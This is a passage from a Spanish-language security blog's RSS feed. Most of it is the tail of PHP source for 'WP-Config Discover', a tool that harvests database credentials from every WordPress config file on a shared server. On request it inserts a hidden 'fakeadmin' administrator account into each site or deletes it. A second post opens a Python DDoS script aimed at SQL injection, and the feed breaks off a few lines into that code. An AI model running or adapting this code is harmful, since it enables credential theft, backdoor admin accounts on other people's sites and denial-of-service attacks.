<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_NAME&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output3</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_NAME&#8217;, &quot;</span>, <span class="st0">&quot;db=&gt;&quot;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_HOST&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output4</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_HOST&#8217;, &quot;</span>, <span class="st0">&quot;host=&gt;&quot;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;<span class="es0">\$</span>table_prefix&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/<span class="es0">\$</span>table_prefix(.*);/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output5</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>prefix&quot;</span>.<span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>URL: &quot;</span>.getURL<span class="br0">&#40;</span><span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;attack&#8217;</span><span class="br0">&#93;</span> == <span class="st0">&quot;create_user&quot;</span><span class="br0">&#41;</span> <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>User/pass created: &quot;</span>.UserAdmin<span class="br0">&#40;</span><span class="st0">&quot;create&quot;</span>, <span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;attack&#8217;</span><span class="br0">&#93;</span> == <span class="st0">&quot;delete_user&quot;</span><span class="br0">&#41;</span> <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>fakeadmin deleted: &quot;</span>.UserAdmin<span class="br0">&#40;</span><span class="st0">&quot;delete&quot;</span>, <span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> getURL<span class="br0">&#40;</span><span class="re0">$user</span>, <span class="re0">$pass</span>, <span class="re0">$db</span>, <span class="re0">$host</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$user</span>, <span class="re0">$user</span><span class="br0">&#41;</span>; <span class="re0">$user</span> = <span class="re0">$user</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$pass</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>; <span class="re0">$pass</span> = <span class="re0">$pass</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$db</span>, <span class="re0">$db</span><span class="br0">&#41;</span>; <span class="re0">$db</span> = <span class="re0">$db</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$host</span>, <span class="re0">$host</span><span class="br0">&#41;</span>; <span class="re0">$host</span> = <span class="re0">$host</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/<span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$prefix</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span>; <span class="re0">$prefix</span> = <span class="re0">$prefix</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$sql</span> = @<a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="re0">$host</span>, <span class="re0">$user</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; @<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="re0">$db</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$_q</span> = @<a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;SELECT option_value FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;options WHERE option_name=&#8217;siteurl&#8217;&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; @<a href="http://www.php.net/mysql_close"><span class="kw3">mysql_close</span></a><span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> @<a href="http://www.php.net/mysql_result"><span class="kw3">mysql_result</span></a><span class="br0">&#40;</span><span class="re0">$_q</span>, <span class="nu0">0</span>, <span class="st0">&#8216;option_value&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> UserAdmin<span class="br0">&#40;</span><span class="re0">$action</span>, <span class="re0">$user</span>, <span class="re0">$pass</span>, <span class="re0">$db</span>, <span class="re0">$host</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$user</span>, <span class="re0">$user</span><span class="br0">&#41;</span>; <span class="re0">$user</span> = <span class="re0">$user</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$pass</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>; <span class="re0">$pass</span> = <span class="re0">$pass</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$db</span>, <span class="re0">$db</span><span class="br0">&#41;</span>; <span class="re0">$db</span> = <span class="re0">$db</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$host</span>, <span class="re0">$host</span><span class="br0">&#41;</span>; <span class="re0">$host</span> = <span class="re0">$host</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/<span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$prefix</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span>; <span class="re0">$prefix</span> = <span class="re0">$prefix</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$sql</span> = @<a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="re0">$host</span>, <span class="re0">$user</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; @<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="re0">$db</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$action</span> == <span class="st0">&quot;create&quot;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$wp_uid</span> = <a href="http://www.php.net/rand"><span class="kw3">rand</span></a><span class="br0">&#40;</span><span class="nu0">9990</span>,<span class="nu0">99999</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; @<a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;users(id, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES(&quot;</span>.<span class="re0">$wp_uid</span>.<span class="st0">&quot;, &#8216;fakeadmin&#8217;, md5(&#8216;dummie&#8217;), &#8216;wordpress&#8217;, &#8216;dummie@wordpress.cl&#8217;, &#8216;http://&#8217;, NOW(), &#8221;, 0, &#8216;wordpressdummieadmin&#8217;)&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; @<a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;usermeta (user_id, meta_key, meta_value) VALUES (&quot;</span>.<span class="re0">$wp_uid</span>.<span class="st0">&quot;, &#8216;wp_capabilities&#8217;, &#8216;a:1:{s:13:<span class="es0">\&quot;</span>administrator<span class="es0">\&quot;</span>;b:1;}&#8217; )&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$action</span> == <span class="st0">&quot;delete&quot;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;DELETE FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;usermeta WHERE user_id=(SELECT id FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;users WHERE user_login=&#8217;fakeadmin&#8217;)&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;DELETE FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;users WHERE user_login=&#8217;fakeadmin&#8217;&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; @<a href="http://www.php.net/mysql_close"><span class="kw3">mysql_close</span></a><span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> <span class="st0">&quot;fakeadmin/dummie&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Este script tiene dos funciones embedidas, las cuales se deben llamar pasando pasando las variables <strong>attack=create_user</strong> o <strong>attack=delete_user</strong>. La primera crea un usuario admin (falso) en todos los wordpress y con la segunda, se eliminan estos usuarios creados.</p>
<p>Conceptualmente es un script muy sencillo pero en un servidor sin protecciones podría ser <em>mortal</em>.</p>
<p>El código está disponible tambien en <a href="http://codes.zerial.org/php/wp-config_discover.phps">http://codes.zerial.org/php/wp-config_discover.phps</a></p>
<p><em>nota: queda de más decir que es para uso educativo y es una herramienta de auditoría <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </em></p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/wp-config-discover/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>DDoS Attacker Script: Peticiones automatizadas para lograr DoS</title>
		<link>http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/</link>
		<comments>http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/#comments</comments>
		<pubDate>Sun, 02 Aug 2009 19:26:52 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=709</guid>
		<description><![CDATA[&#8220;DDoS Attacker Script&#8221; es un pequeño script que he escrito en python que nos sirve para lograr con éxito un ataque de denegación de servicio en un sitio web. Este script lo diseñe especialmente para ataques de sql injection. El funcionamiento es muy sencillo, se conecta y hace una petición de la URI especificada: #!/usr/bin/python [...]]]></description>
			<content:encoded><![CDATA[<p>&#8220;<em>DDoS Attacker Script</em>&#8221; es un pequeño script que he escrito en <strong>python</strong> que nos sirve para lograr con éxito un ataque de denegación de servicio en un sitio web. Este script lo diseñe especialmente para ataques de sql injection.</p>
<p>El funcionamiento es muy sencillo, se conecta y hace una petición de la URI especificada:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="co1">#!/usr/bin/python</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">socket</span>, <span class="kw3">sys</span>, <span class="kw3">os</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">print</span> <span class="st0">&quot;][ Attacking &quot;</span> + <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> &nbsp;+ <span class="st0">&quot; ... ][&quot;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">print</span> <span class="st0">&quot;injecting &quot;</span> + <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
